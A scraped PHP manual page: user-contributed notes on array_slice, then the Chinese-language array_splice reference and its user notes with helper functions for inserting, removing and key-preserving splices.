<?php

/*
** function array_surround by Jamon Holmgren of ClearSight Design
** Version 1.0 - 4/10/2009
** Please direct comments and questions to my first name at symbol clearsightdesign.com
**
** Returns an array with only the $before and $after number of results
** This is set to work best with MySQL data results
** Use this to find the rows immediately before and after a particular row, as many as you want
**
** Example usage:
**   $mysql_ar is an array of results from a MySQL query and the current id is $cur_id
**   We want to get the row before this one and five rows afterward
**
** $near_rows = array_surround($mysql_ar, "id", $cur_id, 1, 5)
**
**   Previous row is now $near_rows[-1]
**   Current row is now $near_rows[0]
**   Next row is $near_rows[1] ... etc
**   If there is no previous row, $near_rows[-1] will not be set...test for it with is_array($near_rows[-1])
**
*/
function array_surround($src_array, $field, $value, $before = 1, $after = 1) {
    if(is_array($src_array)) {
        // reset all the keys to 0 through whatever in case they aren't sequential
        $new_array = array_values($src_array);
        // now loop through and find the key in array that matches the criteria in $field and $value
        foreach($new_array as $k => $s) {
            if($s[$field] == $value) {
                // Found the one we wanted
                $ck = $k; // put the key in the $ck (current key)
                break;
            }
        }
        if(isset($ck)) { // Found it!
            $result_start = $ck - $before; // Set the start key
            $result_length = $before + 1 + $after; // Set the number of keys to return
            if($result_start < 0) { // Oops, start key is before first result
                $result_length = $result_length + $result_start; // Reduce the number of keys to return
                $result_start = 0; // Set the start key to the first result
            }
            $result_temp = array_slice($new_array, $result_start, $result_length); // Slice out the results we want
            // Now we have an array, but we want array[-$before] to array[$after] not 0 to whatever.
            foreach($result_temp as $rk => $rt) { // set all the keys to -$before to +$after
                $result[$result_start - $ck + $rk] = $rt;
            }
            return $result;
        } else { // didn't find it!
            return false;
        }
    } else { // They didn't send an array
        return false;
    }
}

?>

I hope you find this useful! I welcome constructive criticism or comments or of course praise ;) -- just e-mail me.

- Jamon Holmgren
Mr. P 14-Nov-2008 02:11
Note that offset is not the same thing as key. Offset always starts at 0, while keys might be any number.

So this:

<?php print_r(array_slice(array(0 => 0, 5 => 5, 13 => 13),1)); ?>

will result in this:
Array
(
    [0] => 5
    [1] => 13
)
s0i0m at dreamevilconcepts dot com 12-Sep-2008 07:53
Using the varname function referenced from the array_search page, submitted by dcez at land dot ru. I created a multi-dimensional array splice function. It's usage is like so:

$array['admin'] = array('blah1', 'blah2');
$array['voice'] = array('blah3', 'blah4');
array_cut('blah4', $array);

...Would strip blah4 from the array, no matter where the position of it was in the array ^^ Returning this...

Array ( [admin] => Array ( [0] => blah1 [1] => blah2 ) [voice] => Array ( [0] => blah3 ) )

Here is the code...

<?php

  function varname ($var)
  {
    // varname function by dcez at land dot ru
    return (isset($var)) ? array_search($var, $GLOBALS) : false;
  }

  function array_cut($needle, $haystack)
  {
    foreach ($haystack as $k => $v)
    {
      for ($i=0; $i<count($v); $i++)
        if ($v[$i] === $needle)
        {
          return array_splice($GLOBALS[varname($haystack)][$k], $i, 1);
          break; break;
        }
    }

?>

Check out dreamevilconcept's forum for more innovative creations!
ted.devito at 9gmail9 dot 99com 02-May-2008 09:21
based on worldclimb's arem(), here is a recursive array value removal tool that can work with multidimensional arrays.

function remove_from_array($array,$value){
    $clear = true;
    $holding=array();

    foreach($array as $k => $v){
        if (is_array($v)) {
            $holding [$k] = remove_from_array ($v, $value);
            }
        elseif ($value == $v) {
            $clear = false;
            }
        elseif($value != $v){
            $holding[$k]=$v; // removes an item by combing through the array in order and saving the good stuff
        }
    }
    if ($clear) return $holding; // only pass back the holding array if we didn't find the value
}
worldclimb at 99gmail99 dot com 21-Mar-2008 12:51
array_slice can be used to remove elements from an array but it's pretty simple to use a custom function.

One day array_remove() might become part of PHP and will likely be a reserved function name, hence the unobvious choice for this function's names.

<?
function arem($array,$value){
    $holding=array();
    foreach($array as $k => $v){
        if($value!=$v){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

function akrem($array,$key){
    $holding=array();
    foreach($array as $k => $v){
        if($key!=$k){
            $holding[$k]=$v;
        }
    }
    return $holding;
}

$lunch = array('sandwich' => 'cheese', 'cookie'=>'oatmeal','drink' => 'tea','fruit' => 'apple');
echo '<pre>';
print_r($lunch);
$lunch=arem($lunch,'apple');
print_r($lunch);
$lunch=akrem($lunch,'sandwich');
print_r($lunch);
echo '</pre>';
?>

(remove 9's in email)
aexchecker at yahoo dot com 04-Oct-2007 08:39
<?php
/**
 * @desc
 * Combines two arrays by inserting one into the other at a given position then
 * returns the result.
 *
 * @since   2007/10/04
 * @version v0.7 2007/10/04 18:47:52
 * @author  AexChecker <AexChecker@yahoo.com>
 * @param   array $source
 * @param   array $destination
 * @param   int [optional] $offset
 * @param   int [optional] $length
 * @return  array
 */
function array_insert($source, $destination, $offset = NULL, $length = NULL) {
    if (!is_array($source) || empty($source)) {
        if (is_array($destination) && !empty($destination)) {
            return $destination;
        }
        return array();
    }
    if (is_null($offset)) {
        return array_merge($destination, $source);
    }
    $offset = var2int($offset);
    if (is_null($length)) {
        if ($offset === 0) {
            return array_merge($source, array_slice($destination, 1));
        }
        if ($offset === -1) {
            return array_merge(array_slice($destination, 0, -1), $source);
        }
        return array_merge(
            array_slice($destination, 0, $offset),
            $source,
            array_slice($destination, ++$offset)
        );
    }
    if ($offset === 0) {
        return array_merge($source, array_slice($destination, $length));
    }
    $destination_count = count($destination);
    $length = var2int($length);
    if ($offset > 0) {
        if ($destination_count - $offset < 1) {
            return array_merge($destination, $source);
        }
    } else{
        if (($t = $destination_count + $offset) < 1) {
            return array_merge($source, $destination);
        }
        $offset = $t;
    }
    if ($length > 0) {
        $length+= $offset;
    } elseif ($length < 0 && !($length * -1 < $destination_count)) {
        return $source;
    } else {
        $length = $offset;
    }
    return array_merge(
        array_slice($destination, 0, $offset),
        $source,
        array_slice($destination, $length)
    );
}
?>
aflavio at gmail dot com 01-Mar-2007 01:43
/**
    * Remove a value from a array
    * @param string $val
    * @param array $arr
    * @return array $array_remval
    */
    function array_remval($val, &$arr)
    {
          $array_remval = $arr;
          for($x=0;$x<count($array_remval);$x++)
          {
              $i=array_search($val,$array_remval);
              if (is_numeric($i)) {
                  $array_temp  = array_slice($array_remval, 0, $i );
                $array_temp2 = array_slice($array_remval, $i+1, count($array_remval)-1 );
                $array_remval = array_merge($array_temp, $array_temp2);
              }
          }
          return $array_remval;
    }

$stack=Array('apple','banana','pear','apple', 'cherry', 'apple');
array_remval("apple", $stack);

//output: Array('banana','pear', 'cherry')
06-May-2006 12:21
If you specify the fourth argument (to not reassign the keys), then there appears to be no way to get the function to return all values to the end of the array. Assigning -0 or NULL or just putting two commas in a row won't return any results.
taylorbarstow at the google mail service 07-Apr-2006 02:01
Array slice function that works with associative arrays (keys):

function array_slice_assoc($array,$keys) {
    return array_intersect_key($array,array_flip($keys));
}
andreasblixt (at) msn (dot) com 06-Sep-2005 09:53
<?php
    // Combines two arrays by inserting one into the other at a given position then returns the result
    function array_insert($src, $dest, $pos) {
        if (!is_array($src) || !is_array($dest) || $pos <= 0) return FALSE;
        return array_merge(array_slice($dest, 0, $pos), $src, array_slice($dest, $pos));
    }
?>
bishop 08-Dec-2004 01:58
Sometimes you need to pick certain non-integer and/or non-sequential keys out of an array. Consider using the array_pick() implementation below to pull specific keys, in a specific order, out of a source array:

<?php

$a = array ('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$b = array_pick($a, array ('d', 'b'));

// now:
// $a = array ('a' => 1, 'c' => '3');
// $b = array ('d' => 4, 'b' => '2');

function &array_pick(&$array, $keys)
{
    if (! is_array($array)) {
        trigger_error('First parameter must be an array', E_USER_ERROR);
        return false;
    }

    if (! (is_array($keys) || is_scalar($keys))) {
        trigger_error('Second parameter must be an array of keys or a scalar key', E_USER_ERROR);
        return false;
    }

    if (is_array($keys)) {
        // nothing to do
    } else if (is_scalar($keys)) {
        $keys = array ($keys);
    }

    $resultArray = array ();
    foreach ($keys as $key) {
        if (is_scalar($key)) {
            if (array_key_exists($key, $array)) {
                $resultArray[$key] = $array[$key];
                unset($array[$key]);
            }
        } else {
            trigger_error('Supplied key is not scalar', E_USER_ERROR);
            return false;
        }
    }

    return $resultArray;
}

?>
developer at i-space dot org 03-Feb-2002 08:22
remember that array_slice returns an array with the current element. you must use array_slice($array, $index+1) if you want to get the next elements.


去掉数组中的某一部分并用其它值取代

  • ? array_slice
  • array_sum ?
  • PHP Manual
  • 数组 函数
  • 去掉数组中的某一部分并用其它值取代

array_splice

(PHP 4, PHP 5, PHP 7, PHP 8)

array_splice — 去掉数组中的某一部分并用其它值取代

说明

array_splice(
array &$array,
int $offset,
?int $length = null,
mixed $replacement = []
): array

把 array 数组中由 offset 和 length 指定的单元去掉，如果提供了 replacement 参数，则用其中的单元取代。

Note:

array 中的数字键名不被保留。

Note: 如果 replacement 不是数组，会被 类型转换 成数组 (例如： (array) $replacement)。 当传入的 replacement 是个对象或者 null，会导致未知的行为出现。

参数

array

输入的数组。

offset

如果 offset 为正，则从 array 数组中该值指定的偏移量开始移除。

如果 offset 为负，则从 array 末尾倒数该值指定的偏移量开始移除。

length

如果省略 length，则移除数组中从 offset 到结尾的所有部分。

如果指定了 length 并且为正值，则移除这么多单元。

如果指定了 length 并且为负值，则移除部分停止于数组末尾该数量的单元。

如果设置了 length 为零，不会移除单元。

Tip

当给出了 replacement 时要移除从 offset 到数组末尾所有单元时，用 count($input) 作为 length。

replacement

如果给出了 replacement 数组，则被移除的单元被此数组中的单元替代。

如果 offset 和 length 的组合结果是不会移除任何值，则 replacement 数组中的单元将被插入到 offset 指定的位置。

Note:

不保留替换数组 replacement 中的键名。

如果用来替换 replacement 只有一个单元，那么不需要给它加上 array() 或方括号，除非该单元本身就是一个数组、一个对象或者 null。

返回值

返回一个包含有被移除单元的数组。

更新日志

版本 | 说明
8.0.0 | length 现在可为空（nullable）。

示例

Example #1 array_splice() 例子

<?php
$input = array("red", "green", "blue", "yellow");
array_splice($input, 2);
var_dump($input);

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, -1);
var_dump($input);

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, count($input), "orange");
var_dump($input);

$input = array("red", "green", "blue", "yellow");
array_splice($input, -1, 1, array("black", "maroon"));
var_dump($input);
?>

以上示例会输出：

array(2) {
  [0]=>
  string(3) "red"
  [1]=>
  string(5) "green"
}
array(2) {
  [0]=>
  string(3) "red"
  [1]=>
  string(6) "yellow"
}
array(2) {
  [0]=>
  string(3) "red"
  [1]=>
  string(6) "orange"
}
array(5) {
  [0]=>
  string(3) "red"
  [1]=>
  string(5) "green"
  [2]=>
  string(4) "blue"
  [3]=>
  string(5) "black"
  [4]=>
  string(6) "maroon"
}

Example #2 几个以不同表达式实现相同效果的 array_splice() 例子

以下表达式是相同的：

<?php

// 添加两个新元素到 $input
array_push($input, $x, $y);
array_splice($input, count($input), 0, array($x, $y));

// 移除 $input 中的最后一个元素
array_pop($input);
array_splice($input, -1);

// 移除 $input 中第一个元素
array_shift($input);
array_splice($input, 0, 1);

// 在 $input 的开头插入一个元素
array_unshift($input, $x, $y);
array_splice($input, 0, 0, array($x, $y));

// 在 $input 的索引 $x 处替换值
$input[$x] = $y; // 对于键名和偏移量等值的数组
array_splice($input, $x, 1, $y);
?>

参见

  • array_merge() - 合并一个或多个数组
  • array_slice() - 从数组中取出一段
  • unset() - 清除指定变量

User Contributed Notes

Anonymous 17-Apr-2021 10:03
the following:

        $input = [[5=>"richard=red"], [15=>"york=yellow"], [25=>"gave=green"], [30=>"battle=blue"], [35=>"in=indigo"], [40=>"vain=violet"]];
        array_splice($input, 2, 0, [[10=>"of=orange"]]);
        var_dump($input);

gives this:

array (size=7)
  0 =>
    array (size=1)
      5 => string 'richard=red' (length=11)
  1 =>
    array (size=1)
      15 => string 'york=yellow' (length=11)
  2 =>
    array (size=1)
      10 => string 'of=orange' (length=9)
  3 =>
    array (size=1)
      25 => string 'gave=green' (length=10)
  4 =>
    array (size=1)
      30 => string 'battle=blue' (length=11)
  5 =>
    array (size=1)
      35 => string 'in=indigo' (length=9)
  6 =>
    array (size=1)
      40 => string 'vain=violet' (length=11)
Hayley Watson 26-Sep-2017 12:31
For an analogous function that works on strings rather than arrays, see substr_replace.
gilberg_vrn 25-Apr-2016 02:45
array_splice with preserve keys

<?php
function array_splice_preserve_keys(&$array, $from, $length = null) {
    $result = array_slice($array, $from, $length, true);
    $array = array_slice($array, $from + $length, null, true);

    return $result;
}
?>

Example:

<?php
$array = [
    1 => 'a',
    2 => 'b',
    26 => 'z'
];

var_dump(array_splice_preserve_keys($array, 0, 1), $array);
/**
 * array(1) {
 *  [1]=>
 *   string(1) "a"
 *  }
 * array(2) {
 *  [2]=>
 *  string(1) "b"
 *  [26]=>
 *  string(1) "z"
 * }
 */
?>
vitospericolato at gmail dot com 08-Apr-2016 08:54
To remove elements from an array, based on array values:

<?php
$i_to_remove=array();

foreach($array_to_prune as $i=>$value){
  if(cond_to_delete($value)) $i_to_remove[]=$i;
}
foreach($i_to_remove as $j=>$i)
  array_splice($array_to_prune,$i-$j,1);

?>
StanE 22-Oct-2015 08:50
array_splice() does not preserve numeric keys. The function posted by "weikard at gmx dot de" won't do that either because array_merge() does not preserve numeric keys either.

Use following function instead:

<?php
function arrayInsert($array, $position, $insertArray)
{
    $ret = [];

    if ($position == count($array)) {
        $ret = $array + $insertArray;
    }
    else {
        $i = 0;
        foreach ($array as $key => $value) {
            if ($position == $i++) {
                $ret += $insertArray;
            }

            $ret[$key] = $value;
        }
    }

    return $ret;
}
?>

Example:
<?php
$a = [
    295 => "Hello",
    58 => "world",
];

$a = arrayInsert($a, 1, [123 => "little"]);

/*
Output:
Array
(
    [295] => Hello
    [123] => little
    [58] => world
)
*/
?>

It preserves numeric keys. Note that the function does not use a reference to the original array but returns a new array (I see absolutely no reason how the performance would be increased by using a reference when modifying an array through PHP script code).
guillaume dot lacourt at gmail dot com 20-Jun-2015 01:30
Using array_splice when you traverse array with internal pointer's function reset the array, eg:

<?php
end($arrOfData);
$last = key($arrOfData);
reset($arrOfData);
while (($data = current($arrOfData))) {
  if ($last === key($arrOfData)) {
    array_splice($arrOfData, $last, 1);
   // current($arrOfData) => first value of $arrOfData
  }
}
Anonymous 11-Sep-2014 01:07
<?php
function array_slice2( $array, $offset, $length = 0 )
{
  if( $offset < 0 )
    $offset = sizeof( $array ) + $offset;

  $length = ( !$length ? sizeof( $array ) : ( $length < 0 ? sizeof( $array ) - $length : $length + $offset ) );

  for( $i = $offset; $i < $length; $i++ )
    $tmp[] = $array[$i];

  return $tmp;
}
?>
antrik 09-Jul-2014 07:20
Prompted by dire need, and inspired by some of the existing notes, I came up with this:

/* Like array_splice(), but preserves the key(s) of the replacement array. */
function array_splice_assoc(&$input, $offset, $length = 0, $replacement = array()) {
  $tail = array_splice($input, $offset);
  $extracted = array_splice($tail, 0, $length);
  $input += $replacement + $tail;
  return $extracted;
};

Apart from preserving the keys, it behaves just like the regular array_splice() for all cases I could think of.

So for example the regular array_splice()

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
print_r(array_splice($input, -4, 3, array('foo1' => 'bar', 'foo2' => 'baz')));
print_r($input);

will give:

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [a] => 1
    [b] => 2
    [0] => bar
    [1] => baz
    [f] => 6
)

But with array_splice_assoc()

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
print_r(array_splice_assoc($input, -4, 3, array('foo1' => 'bar', 'foo2' => 'baz')));
print_r($input);

we get:

Array
(
    [c] => 3
    [d] => 4
    [e] => 5
)
Array
(
    [a] => 1
    [b] => 2
    [foo1] => bar
    [foo2] => baz
    [f] => 6
)

A typical use case would be replacing an element identified by a particular key, which we could achieve with:

$input = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4, 'e' => 5, 'f' =>6);
array_splice_assoc($input, array_search('d', array_keys($input)), 1, array('foo' => 'bar'));
print_r($input);

giving us:

Array
(
    [a] => 1
    [b] => 2
    [c] => 3
    [foo] => bar
    [e] => 5
    [f] => 6
)
thom 02-Jan-2014 02:31
Maybe it will help someone else: I was trying to strip off the last part of an array using this section, more or less as follows:

<?php array_splice($array, $offset); ?>

Now it could occur in my code that <?php $offset === 0 ?>, in which case the array is returned as-is and not, as you might expect, an empty array because everything is stripped off. Obviously it is not really useful anyway to "strip off everything", but I was reminded of that the hard way and this may spare someone some time, hopefully.
royanee at yahoo dot com 25-Jan-2013 05:03
When trying to splice an associative array into another, array_splice is missing two key ingredients:
  - a string key for identifying the offset
  - the ability to preserve keys in the replacement array

This is primarily useful when you want to replace an item in an array with another item, but want to maintain the ordering of the array without rebuilding the array one entry at a time.

<?php
function array_splice_assoc(&$input, $offset, $length, $replacement) {
        $replacement = (array) $replacement;
        $key_indices = array_flip(array_keys($input));
        if (isset($input[$offset]) && is_string($offset)) {
                $offset = $key_indices[$offset];
        }
        if (isset($input[$length]) && is_string($length)) {
                $length = $key_indices[$length] - $offset;
        }

        $input = array_slice($input, 0, $offset, TRUE)
                + $replacement
                + array_slice($input, $offset + $length, NULL, TRUE);
}

$fruit = array(
        'orange' => 'orange',
        'lemon' => 'yellow',
        'lime' => 'green',
        'grape' => 'purple',
        'cherry' => 'red',
);

// Replace lemon and lime with apple
array_splice_assoc($fruit, 'lemon', 'grape', array('apple' => 'red'));

// Replace cherry with strawberry
array_splice_assoc($fruit, 'cherry', 1, array('strawberry' => 'red'));
?>

Note: I have not tested this with negative offsets and lengths.
mrsohailkhan at gmail dot com 21-Oct-2011 12:34
array_splice, split an array into 2 arrays. The returned arrays is the 2nd argument actually and the used array e.g $input here contains the 1st argument of array, e.g

<?php
$input = array("red", "green", "blue", "yellow");
print_r(array_splice($input, 3)); // Array ( [0] => yellow )
print_r($input); //Array ( [0] => red [1] => green [2] => blue )
?>

if you want to replace any array value do simple like that,

first search the array index you want to replace

<?php $index = array_search('green', $input);// index = 1 ?>

and then use it as according to the definition

<?php
array_splice($input, $index, 1, array('mygreeen')); //Array ( [0] => red [1] => mygreeen [2] => blue [3] => yellow )
?>

so here green is replaced by mygreen.

here 1 in array_splice above represent the number of items to be replaced. so here start at index '1' and replaced only one item which is 'green'
news_yodpeirs at thoftware dot de 20-Jul-2011 08:20
Sometimes you may want to insert one array into another and just work on with the resulting array. array_splice() doesn't support this, as the resulting array isn't the returned value but the first argument, which is changed by reference.

Therefore you may use the following function, which inserts array $ins in array $src at position $pos. $rep can be used if $ins shouldn't be just inserted, but should replace some existing elements (the number of elements to be replaced is given in $rep).

<?php
function array_insert($src,$ins,$pos,$rep=0) {
  array_splice($src,$pos,$rep,$ins);
  return($src);
}
?>
charette dot s at gmail 21-Jul-2010 08:26
If you want to append null values wrap them in an array:

<?php

    $a = array('Hey', 'hey', 'my', 'my');
    array_splice($a, 1, 0, null);
    print_r($a);

?>
Array
(
    [0] => Hey
    [1] => hey
    [2] => my
    [3] => my
)

<?php

    $b = array('Hey', 'hey', 'my', 'my');
    array_splice($b, 1, 0, array(null));
    print_r($b);

?>
Array
(
    [0] => Hey
    [1] =>
    [2] => hey
    [3] => my
    [4] => my
)
news_yodpeirs at thoftware dot de 01-Apr-2010 01:32
Splicing with NULL as replacement may result in unexpected behavior too. Typecasting NULL into an array results in an empty array (as "(array)NULL" equals "array()"). That means, instead of creating an element with value NULL just no new element ist created (just as if there was no replacement specified).

If you want the splicing to create a new element with value NULL you have to use "array(NULL)" instead of NULL.

You should expect this if you read the explanation carefully, but just as objects are considered as a special case for replacement, NULL should be too.

The explanation of replacement better should read: "If replacement is just one element it is not necessary to put array() around it, unless the element is an array itself, an object or NULL."

And the note better should be: "If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object or NULL replacement."

jmtc
daniele centamore 02-Aug-2009 07:48
just useful functions to move an element using array_splice.

<?php

// info at danielecentamore dot com

// $input  (Array) - the array containing the element
// $index (int) - the index of the element you need to move

function moveUp($input,$index) {
      $new_array = $input;

       if((count($new_array)>$index) && ($index>0)){
                 array_splice($new_array, $index-1, 0, $input[$index]);
                 array_splice($new_array, $index+1, 1);
             }

       return $new_array;
}

function moveDown($input,$index) {
       $new_array = $input;

       if(count($new_array)>$index) {
                 array_splice($new_array, $index+2, 0, $input[$index]);
                 array_splice($new_array, $index, 1);
             }

       return $new_array;
 }

$input = array("red", "green", "blue", "yellow");

$newinput = moveUp($input, 2);
// $newinput is array("red", "blue", "green", "yellow")

$input = moveDown($newinput, 1);
// $input is array("red", "green", "blue", "yellow")

?>
strata_ranger at hotmail dot com 01-Jul-2009 11:53
Should you want a similar function for splicing strings together, here is a rough equivalent:

<?php
function str_splice($input, $offset, $length=null, $splice='')
{
  $input = (string)$input;
  $splice = (string)$splice;
  $count = strlen($input);

  // Offset handling (negative values measure from end of string)
  if ($offset<0) $offset = $count + $offset;

  // Length handling (positive values measure from $offset; negative, from end of string; omitted = end of string)
  if (is_null($length)) $length = $count;
  elseif ($length < 0)  $length = $count-$offset+$length;

  // Do the splice
  return substr($input, 0, $offset) . $splice . substr($input, $offset+$length);
}

$string = "The fox jumped over the lazy dog.";

// Outputs "The quick brown fox jumped over the lazy dog."
echo str_splice($string, 4, 0, "quick brown ");

?>

Obviously this is not for cases where all you need to do is a simple search-and-replace.
dead dot screamer at seznam dot cz 12-Feb-2009 05:28
I need <?php array_Splice()?> function, that use array keys instead of order (offset and length) because of associated arrays, and this is result:

<?php
/**
 *    first variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $end is index of slice end, if this is null, $replacement will be inserted (in the same way as original array_Slice())
 *indexes of $replacement are preserved in both examples
 */
function array_KSplice1(&$input, $start, $end=null, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;
    if($end!==null)
    {
        $end=array_Search($end,$keys,true);
        // if $end not found, exit
        if($end===false)
            return false;
        // if $end is before $start, exit
        if($end<$start)
            return false;
        // index to length
        $end-=$start-1;
    }

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$end,$rKeys);
        array_Splice($values,$start,$end,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$end);
        array_Splice($values,$start,$end);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

/**
 *    second variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $length is length of slice, what will be replaced, if is zero, $replacement will be inserted (in the same way as original array_Slice())
 */
function array_KSplice2(&$input, $start, $length=0, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$length,$rKeys);
        array_Splice($values,$start,$length,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$length);
        array_Splice($values,$start,$length);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

$array=range(1,10);
var_Dump(array_KSplice1($array,3,3,array(100=>101,102,103,104)));

$array=range(1,10);
var_Dump(array_KSplice2($array,3,3,array(100=>101,102,103,104)));

?>

Both examples output:
array(11) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [100]=>
  int(101)
  [101]=>
  int(102)
  [102]=>
  int(103)
  [103]=>
  int(104)
  [6]=>
  int(7)
  [7]=>
  int(8)
  [8]=>
  int(9)
  [9]=>
  int(10)
}
madmax at max-worlds dot net 23-Sep-2008 06:23
Note:  If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object replacement .

Example :

<?php
class A()
{
    private $a;
    private $b;
    public function __construct()
    {
        $this->a = "foo";
        $this->b = "bar";
    }
}

$array = array();
array_splice($array, 0, 0, new A());
print_r($array);
?>

Outputs :

Array : Array
{
    [0] => foo
    [1] => bar
}

Solution : Enforce the array() on the object.

<?php
array_splice($array, 0, 0, array(new Object());
?>

Source : http://bugs.php.net/bug.php?id=44485
loushou - life dot 42 at gmail dot com 27-Jul-2008 04:39
i miss posted the actual function...
here is the real one lol

<?php

function q_sort(&$Info, $Index, $Left, $Right)
{
  echo "memory usage <b>".memory_get_usage()."</b><br/>\n";
  $L_hold = $Left;
  $R_hold = $Right;
  $Pivot = $Left;
  $PivotValue = $Info[$Left];
  while ($Left < $Right)
  {
    while (($Info[$Right][$Index] >= $PivotValue[$Index]) && ($Left < $Right))
      $Right--;
    if ($Left != $Right)
    {
      $Info[$Left] = $Info[$Right];
      $Left++;
    }
    while (($Info[$Left][$Index] <= $PivotValue[$Index]) && ($Left < $Right))
      $Left++;
    if ($Left != $Right)
    {
      $Info[$Right] = $Info[$Left];
      $Right--;
    }
  }
  $Info[$Left] = $PivotValue;
  $Pivot = $Left;
  $Left = $L_hold;
  $Right = $R_hold;
  if ($Left < $Pivot)
    q_sort($Info, $Index, $Left, $Pivot-1);
  if ($Right > $Pivot)
    q_sort($Info, $Index, $Pivot+1, $Right);
}

?>
Francis 27-Apr-2008 12:27
Do you need to sort a 2D array on just one of its variables while trying to preserve somewhat the original order?

<?php

function sort_2d_array($array, $position, $order = "ASC"){
  if (!is_array($array)) return $array;
  if (count($array) < 2) return $array;
  $new = array($array[0]);
  for ($cnt = 1; $cnt <= count($array) - 1; $cnt++){
    $stop = 0;
    $splice = 0;
    for ($newcnt = 0; $newcnt <= count($new) - 1; $newcnt++){
      if ($stop == 0){
        if ($order == "ASC")
        if ($array[$cnt][$position] < $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for ASC
        if ($order == "DESC")
        if ($array[$cnt][$position] > $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for DESC
      } // stop vying for position
    } // cycle through new array to find position
    if ($stop == 0){
      $new[] = $array[$cnt];
    } else {
      array_splice($new, $splice, 0, array($array[$cnt]));
    } // splice into new array while keeping somewhat the original order
  } // cycle through original array
  return $new;
} // sort_2d_array

?>

Application Example: In-House Search Engine
Here we are trying to find the word apple in the website by sort of the most recent occurances first, but the number of occurances first.

We've already sorted the mysql output by the date desc and have counted the no of occurances and have placed those in an array for the final query.

I've used this function to further sort the occurances but somewhat keep the original mysql sort order.

Key
[0] Record number
     [0] Record ID
     [1] Source Table
     [2] No of Occurances Pinged

  ---------------------------

[0]
     [0] 24530
     [1] Blogs
     [2] 1

[1]
     [0] 24400
     [1] Blogs
     [2] 1

[2]
     [0] 24240
     [1] Blogs
     [2] 4

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

After running...

<?php
sort_2d_array($array, 2, "DESC");
?>

We have...

[0]
     [0] 24240
     [1] Blogs
     [2] 4

[1]
     [0] 24530
     [1] Blogs
     [2] 1

[2]
     [0] 24400
     [1] Blogs
     [2] 1

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

Might be useful to someone...
pauljamescampbell at gmail dot com 06-Feb-2008 06:46
Here's my own take on an array slice method that preserves keys from an associative array.

<?php
/**
 * Array slice function that preserves associative keys
 *
 * @function associativeArraySlice
 *
 * @param  Array  $array  Array to slice
 * @param  Integer  $start
 * @param  Integer  $end
 *
 * @return  Array
 */
function associativeArraySlice($array, $start, $end) {
    // Method param restrictions
    if($start < 0) $start = 0;
    if($end > count($array)) $end = count($array);

    // Process vars
    $new = Array();
    $i = 0;

    // Loop
    foreach($array as $key => $value) {
        if($i >= $start && $i < $end) {
            $new[$key] = $value;
        }
        $i++;
    }
    return($new);
}
?>
mip at ycn dot com 08-Mar-2007 05:37
Ever wounder what array_splice is doing to your references, then try this little script and see the output.

<?php

$a = "a";
$b = "b";
$c = "c";
$d = "d";
$arr = array();
$arr[] =& $a;
$arr[] =& $b;
$arr[] =& $c;
array_splice($arr,1,0,array($d));
$sec_arr = array();
$sec_arr[] =& $d;
array_splice($arr,1,0,$sec_arr);

$arr[0] = "test"; // should be $a
$arr[3] = "test2"; // should be $b
$arr[1] = "this be d?"; // should be $d
$arr[2] = "or this be d?"; // should be $d
var_dump($arr);
var_dump($a);
var_dump($b);
var_dump($d);
?>

The output will be (PHP 4.3.3):

array(5) {
  [0]=>
  &string(4) "test"
  [1]=>
  &string(10) "this be d?"
  [2]=>
  string(13) "or this be d?"
  [3]=>
  &string(5) "test2"
  [4]=>
  &string(1) "c"
}
string(4) "test"
string(5) "test2"
string(10) "this be d?"

So array_splice is reference safe, but you have to be careful about the generation of the replacement array.

have fun, cheers!
ahigerd at stratitec dot com 24-Jan-2007 06:07
A comment on array_merge mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
bdjumakov at gmail dot com 31-Aug-2006 12:11
Someone might find this function usefull. It just takes a given element from the array and moves it before given element into the same array.

<?php
function array_move($which, $where, $array)
{
    $tmp  = array_splice($array, $which, 1);
    array_splice($array, $where, 0, $tmp);
    return $array;
}
?>
Paul 11-Feb-2006 10:06
In PHP 4.3.10, at least, it seems that elements that are inserted as part of the replacement array are inserted BY REFERENCE (that is, as though with the =& rather than = assignment operation). So if your replacement array contains elements that references to variables that you can also access via other variable name, then this will be true of the elements in the final array too.

In particular, this means that it is safe to use array_splice() on arrays of objects, as you won't be creating copies of the objects (as it is so easy to do in PHP 4).
